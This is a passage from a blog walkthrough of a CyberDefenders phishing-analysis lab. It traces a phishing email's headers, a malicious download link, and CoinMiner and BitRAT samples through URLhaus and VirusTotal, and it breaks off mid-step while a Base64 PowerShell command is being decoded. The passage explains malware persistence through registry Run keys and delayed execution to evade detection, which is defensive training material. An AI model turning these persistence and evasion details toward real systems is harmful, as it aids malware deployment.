&lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-remnux-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the REMnux Analysis Environment &amp;amp; Extract the challenge file:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! When working with lab/challenge files from &lt;em&gt;CyberDefenders&lt;/em&gt; &lt;em&gt;(or any educational lab/challenge/range),&lt;/em&gt; it&amp;rsquo;s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I&amp;rsquo;m using &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;REMnux&lt;/strong&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; a specialized &lt;em&gt;Linux&lt;/em&gt; distribution for malware analysis.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused, I&amp;rsquo;m going to skip a step-by-step setup directions of &lt;strong&gt;REMnux&lt;/strong&gt;&lt;em&gt;,&lt;/em&gt; but if you&amp;rsquo;d like to set up your own environment, please follow the guide provided by &lt;strong&gt;REMnux&lt;/strong&gt; directly. For reference, I used the virtual appliance method:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page-----d2311959d5f3--------------------------------&#34;  title=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page-----d2311959d5f3--------------------------------&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Get the Virtual Appliance | REMnux Documentation&lt;/strong&gt;&#xA;_The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into&amp;hellip;_docs.remnux.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page-----d2311959d5f3--------------------------------&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-identifying-the-senders-ip-address-with-specific-spf-and-dkim-values-helps-trace-the-source-of-the-phishing-email-what-is-the-senders-ip-address-that-has-an-spf-value-of-softfail-and-a-dkim-value-offail&#34;&gt;Question 1: Identifying the sender&amp;rsquo;s IP address with specific SPF and DKIM values helps trace the source of the phishing email. What is the sender&amp;rsquo;s IP address that has an SPF value of softfail and a DKIM value of fail?&#xA;&lt;/h3&gt;&lt;p&gt;Within the challenge file, there is a single email file — &lt;strong&gt;194-PhishStrike.eml&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll need to start our investigation by analyzing the phishing email, starting with its headers. There are a few ways to approach header analysis of message, including opening it in an email client, a plaintext editor, or a header analysis tool. For this walkthrough, let&amp;rsquo;s start with an online header analysis tool — the &lt;a class=&#34;link&#34; href=&#34;https://mxtoolbox.com/EmailHeaders.aspx&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MxToolBox Supertool Email Header Analyzer&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; This tool will allow us to copy and paste the headers and parse them in a more readable way.&lt;/p&gt;&#xA;&lt;p&gt;But first, we need to obtain the headers. To do this, open the &lt;strong&gt;.eml&lt;/strong&gt; file with any plain text editor within your analysis environment. The top section holds the message header information and the next section contains the body content which we&amp;rsquo;ll look at later.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;598px&#34; data-flex-grow=&#34;249&#34; height=&#34;321&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/5dd167492fe57f8d7e4f1ff2bfc32671_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Start of the message header.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;864px&#34; data-flex-grow=&#34;360&#34; height=&#34;222&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/83ee4c670468e191a772f458c2596557_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Headers and Message Body Boundary&lt;/p&gt;&#xA;&lt;p&gt;Once the header is pasted into the &lt;a class=&#34;link&#34; href=&#34;https://mxtoolbox.com/EmailHeaders.aspx&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MxToolBox&lt;/strong&gt;&lt;/a&gt;, we can search the formatted fields easily. We need to look for the &lt;code&gt;Received-SPF&lt;/code&gt; mail header. If you&amp;rsquo;re unfamiliar, according to &lt;a class=&#34;link&#34; href=&#34;https://mailtrap.io/blog/email-headers/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MailTrap&lt;/strong&gt;&lt;/a&gt;, &lt;strong&gt;Sender Policy Framework (SPF)&lt;/strong&gt; is:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;An authentication method used by senders to specify hosts that are allowed to send an email on behalf of the domain.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;453px&#34; data-flex-grow=&#34;188&#34; height=&#34;635&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/d5880a5a12cfe046379390bc45f445ac_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/d5880a5a12cfe046379390bc45f445ac_MD5_hu_9f66d91d5aae03e2.png 800w, https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/d5880a5a12cfe046379390bc45f445ac_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the case of this phishing email, the value is &lt;code&gt;softfail&lt;/code&gt; which tells us that the email was sent from an &lt;strong&gt;IP address&lt;/strong&gt; not explicitly authorized by the sending domain&amp;rsquo;s SPF record. It&amp;rsquo;s important to know that the email is still accepted and not rejected like it would be if the value was &lt;code&gt;hardfail&lt;/code&gt; which explains why it was delivered to the victims.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1142px&#34; data-flex-grow=&#34;476&#34; height=&#34;168&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/0f6caa177de0dd6b96f2159acaa013dc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-understanding-the-return-path-of-the-email-helps-in-tracing-its-origin-what-is-the-return-path-specified-in-thisemail&#34;&gt;Question 2: Understanding the return path of the email helps in tracing its origin. What is the return path specified in this email?&#xA;&lt;/h3&gt;&lt;p&gt;Within the &lt;a class=&#34;link&#34; href=&#34;https://mxtoolbox.com/EmailHeaders.aspx&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MxToolBox&lt;/strong&gt;&lt;/a&gt; results, simply search for the Search for the &lt;code&gt;Return-Path&lt;/code&gt; header to find the original sender address. Additionally, any bounces would be sent back to this address.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3482px&#34; data-flex-grow=&#34;1451&#34; height=&#34;45&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/2d9f0b0c858449bac1853e9197b7835a_MD5.png&#34; width=&#34;653&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1109px&#34; data-flex-grow=&#34;462&#34; height=&#34;173&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/ac6407276df8d0ca40aefdb37b920c5f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-identifying-the-source-of-malware-is-critical-for-effective-threat-mitigation-and-response-what-is-the-ip-address-hosting-the-malicious-file-associated-with-malware-distribution&#34;&gt;Question 3: Identifying the source of malware is critical for effective threat mitigation and response. What is the IP address hosting the malicious file associated with malware distribution?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 3,&lt;/strong&gt; we need to examine the email body content for any links or attachments sent to the victim. Since this information isn&amp;rsquo;t part of the mail headers, let&amp;rsquo;s return to the plain text editor where we opened the &lt;strong&gt;194-PhishStrike.eml&lt;/strong&gt; to view the email body.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1391px&#34; data-flex-grow=&#34;579&#34; height=&#34;207&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/d670b07ef572afab38a378ec7e753bba_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/d670b07ef572afab38a378ec7e753bba_MD5_hu_b7c4988ca2c1bf86.png 800w, https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/d670b07ef572afab38a378ec7e753bba_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Below the header section, we&amp;rsquo;ll see the content. Notice the text &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;VIEW INVOICE DOCUMENT HERE&amp;quot;&#xA;holds a hyperlink to an &lt;strong&gt;IP address&lt;/strong&gt; hosting an executable file. This is extremely suspicious and has all the hallmarks of a phishing link. It&amp;rsquo;s also the &lt;strong&gt;IP address&lt;/strong&gt; we&amp;rsquo;re looking for to answer &lt;strong&gt;Question 3.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1116px&#34; data-flex-grow=&#34;465&#34; height=&#34;172&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/bfde4bf77cd8557ffe3062d56e73ea03_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-identifying-malware-that-exploits-system-resources-for-cryptocurrency-mining-is-critical-for-prioritizing-threat-mitigation-efforts-the-malicious-url-can-deliver-several-malware-types-which-malware-family-is-responsible-for-cryptocurrency-mining&#34;&gt;Question 4: Identifying malware that exploits system resources for cryptocurrency mining is critical for prioritizing threat mitigation efforts. The malicious URL can deliver several malware types. Which malware family is responsible for cryptocurrency mining?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve identified the malicious URL within the email body, now let&amp;rsquo;s collect some threat intelligence by checking it on &lt;a class=&#34;link&#34; href=&#34;https://urlhaus.abuse.ch/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;URLhaus&lt;/strong&gt;&lt;/a&gt;, a malware URL submission platform used to track cyber threats, searching the URL hosting the executable file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;719px&#34; data-flex-grow=&#34;299&#34; height=&#34;267&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/2552e4ebe614ada5c2812fe4f892a582_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;URLhaus Results&lt;/p&gt;&#xA;&lt;p&gt;From the tags, we&amp;rsquo;ll notice that this URL is associated with several different malware types. To answer &lt;strong&gt;Question 4&lt;/strong&gt;, we are interested in the tag associated with cryptocurrency mining — &lt;strong&gt;CoinMiner.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1005px&#34; data-flex-grow=&#34;418&#34; height=&#34;191&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/a6213ec3c089b205436f9842ae7feb27_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-identifying-the-specific-urls-malware-requests-is-key-to-disrupting-its-communication-channels-and-reducing-its-impact-based-on-the-previous-analysis-of-the-cryptocurrency-malware-sample-what-does-this-malware-request-theurl&#34;&gt;Question 5: Identifying the specific URLs malware requests is key to disrupting its communication channels and reducing its impact. Based on the previous analysis of the cryptocurrency malware sample, what does this malware request the URL?&#xA;&lt;/h3&gt;&lt;p&gt;Now, let&amp;rsquo;s click into the report to browse the detailed database entry. The first thing we&amp;rsquo;ll want is the &lt;strong&gt;SHA256&lt;/strong&gt; hash of the &lt;strong&gt;CoinMiner&lt;/strong&gt; payload. Having the specific malware&amp;rsquo;s file hash in our possession allows us to pivot and check other threat intelligence services for hits and build a stronger malware profile.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;277px&#34; data-flex-grow=&#34;115&#34; height=&#34;691&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/99a801b5cdb071bb8e832cba12a36aa6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;For example, let&amp;rsquo;s navigate to &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; and search the &lt;strong&gt;CoinMiner&lt;/strong&gt; hash. We&amp;rsquo;ll check the &lt;strong&gt;Relations tab&lt;/strong&gt; under &lt;strong&gt;Contacted URLs&lt;/strong&gt; to understand what URLS the malware communicates with based on previous analysis on the service.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;644px&#34; data-flex-grow=&#34;268&#34; height=&#34;298&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/5305f3c33199698380f0a81e9af8f8ec_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are two URLs listed: One looks familiar to us from the phishing email, and the second one is new data — this is the one we&amp;rsquo;re looking for. With the additional information, we are starting to gain a better understanding of the malware&amp;rsquo;s infrastructure.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;984px&#34; data-flex-grow=&#34;410&#34; height=&#34;195&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/91e456c24c520e5795a7551ba16f9fe9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-understanding-the-registry-entries-added-to-the-auto-run-key-by-malware-is-crucial-for-identifying-its-persistence-mechanisms-based-on-the-bitrat-malware-sample-analysis-what-is-the-executables-name-in-the-first-value-added-to-the-registry-auto-runkey&#34;&gt;Question 6: Understanding the registry entries added to the auto-run key by malware is crucial for identifying its persistence mechanisms. Based on the BitRAT malware sample analysis, what is the executable&amp;rsquo;s name in the first value added to the registry auto-run key?&#xA;&lt;/h3&gt;&lt;p&gt;In the last question, we searched for information on the &lt;strong&gt;CoinMiner&lt;/strong&gt; malware delivered by the phishing URL. This time, we&amp;rsquo;ll need to analyze the &lt;strong&gt;BitRAT&lt;/strong&gt; sample downloaded from the same URL. We can accomplish this by heading back to &lt;strong&gt;URLhaus&lt;/strong&gt;, copying the &lt;strong&gt;BitRAT&lt;/strong&gt; payload hash this time, then submitting it to &lt;strong&gt;VirusTotal&lt;/strong&gt; to view the report.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;279px&#34; data-flex-grow=&#34;116&#34; height=&#34;686&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/cf15acdb41c72d18d514f34a094e3de8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Back on &lt;strong&gt;VirusTotal&lt;/strong&gt;, let&amp;rsquo;s check out the &lt;strong&gt;Behavior&lt;/strong&gt; tab and scroll down to the &lt;strong&gt;Registry Actions&lt;/strong&gt; &amp;gt; &lt;strong&gt;Registry Keys Set&lt;/strong&gt; area:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/bf7628695c2df7a3020034a065397592a1f8850e59f9a448b555bc1c8c639539/behavior&#34;  title=&#34;https://www.virustotal.com/gui/file/bf7628695c2df7a3020034a065397592a1f8850e59f9a448b555bc1c8c639539/behavior&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&#xA;VirusTotalwww.virustotal.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/bf7628695c2df7a3020034a065397592a1f8850e59f9a448b555bc1c8c639539/behavior&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;While there are an overwhelming amount of entries listed, we can narrow the search by specifically looking for registry hives related to the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;persistence technique&lt;/strong&gt;&lt;/a&gt; of abusing auto-run keys in the &lt;strong&gt;Windows registry&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To learn more about this technique and get some clues on what to look for in the report, let&amp;rsquo;s turn to &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;run keys&amp;quot;&#xA;in the Registry or startup folder will cause the program referenced to be executed when a user logs in.&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;[1]&lt;/a&gt; These programs will be executed under the context of the user and will have the account&amp;rsquo;s associated permissions level.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The following run keys are created by default on Windows systems:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;code&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;code&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Now that we have this background information, we can apply the intelligence gained from &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; to search for the default run keys in the &lt;strong&gt;VirusTotal&lt;/strong&gt; report, leading us to the executable.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2133px&#34; data-flex-grow=&#34;888&#34; height=&#34;90&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/1aaa39bef1bfd93b979c513cb7c1d4fc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1021px&#34; data-flex-grow=&#34;425&#34; height=&#34;188&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/fb6f5050541dbbb185360f1e5d4943df_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-identifying-the-sha-256-hash-of-files-downloaded-from-a-malicious-url-is-essential-for-tracking-and-analyzing-malware-activity-based-on-the-bitrat-analysis-what-is-the-sha-256-hash-of-the-file-previously-downloaded-and-added-to-the-autorunkeys&#34;&gt;Question 7: Identifying the SHA-256 hash of files downloaded from a malicious URL is essential for tracking and analyzing malware activity. Based on the BitRAT analysis, what is the SHA-256 hash of the file previously downloaded and added to the autorun keys?&#xA;&lt;/h3&gt;&lt;p&gt;Continuing our &lt;strong&gt;BitRAT&lt;/strong&gt; analysis on &lt;strong&gt;VirusTotal&lt;/strong&gt;, let&amp;rsquo;s find the &lt;strong&gt;SHA-256 file hash&lt;/strong&gt; of the executable we found in the previous question. To do this, we just need to expand the &lt;strong&gt;Files Dropped&lt;/strong&gt; section and search for the executable&amp;rsquo;s name. Expanding the entry will show us the hash of the file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1864px&#34; data-flex-grow=&#34;776&#34; height=&#34;103&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/9a4478658390d9de1a8327c654fb1f04_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;From: &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/bf7628695c2df7a3020034a065397592a1f8850e59f9a448b555bc1c8c639539/behavior&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/bf7628695c2df7a3020034a065397592a1f8850e59f9a448b555bc1c8c639539/behavior&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1072px&#34; data-flex-grow=&#34;446&#34; height=&#34;179&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/04bc6e1e833039b5722a02af8c7c0586_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-analyzing-the-http-requests-made-by-malware-helps-in-identifying-its-communication-patterns-what-is-the-http-request-used-by-the-loader-to-retrieve-the-bitratmalware&#34;&gt;Question 8: Analyzing the HTTP requests made by malware helps in identifying its communication patterns. What is the HTTP request used by the loader to retrieve the BitRAT malware?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ll approach this question the same we way did the previous two. This time, navigate to the &lt;strong&gt;Network Communication&lt;/strong&gt; section and focus on &lt;strong&gt;HTTP Requests&lt;/strong&gt; made by the malware.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;703px&#34; data-flex-grow=&#34;293&#34; height=&#34;273&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/1db1d23dcfedea627dd15fd9393394f8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1109px&#34; data-flex-grow=&#34;462&#34; height=&#34;173&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/1c780aea9c88f3ab4accf5a5d39260e3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-introducing-a-delay-in-malware-execution-can-help-evade-detection-mechanisms-what-is-the-delay-in-seconds-caused-by-the-powershell-command-according-to-the-bitrat-analysis&#34;&gt;Question 9: Introducing a delay in malware execution can help evade detection mechanisms. What is the delay (in seconds) caused by the PowerShell command according to the BitRAT analysis?&#xA;&lt;/h3&gt;&lt;p&gt;Moving right along, we&amp;rsquo;ll focus on analyzing any observed &lt;strong&gt;PowerShell&lt;/strong&gt; commands executed by the &lt;strong&gt;BitRAT&lt;/strong&gt; malware. We can find this information under the &lt;strong&gt;Process and service actions&lt;/strong&gt; section under &lt;strong&gt;Shell Commands.&lt;/strong&gt; After a quick analysis, we&amp;rsquo;ll locate the below PowerShell command:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;440px&#34; data-flex-grow=&#34;183&#34; height=&#34;436&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/7ed98d4fc7c445b7e3fb2041b4f01b85_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There&amp;rsquo;s just one small obstacle, we can&amp;rsquo;t read the command directly yet since it has been encoded with &lt;strong&gt;Base64&lt;/strong&gt; (&lt;em&gt;-enc.)&lt;/em&gt; Fortunately, we can easily decode this by leveraging a tool like &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;After opening the tool, paste the encoded string into the input field and then apply the 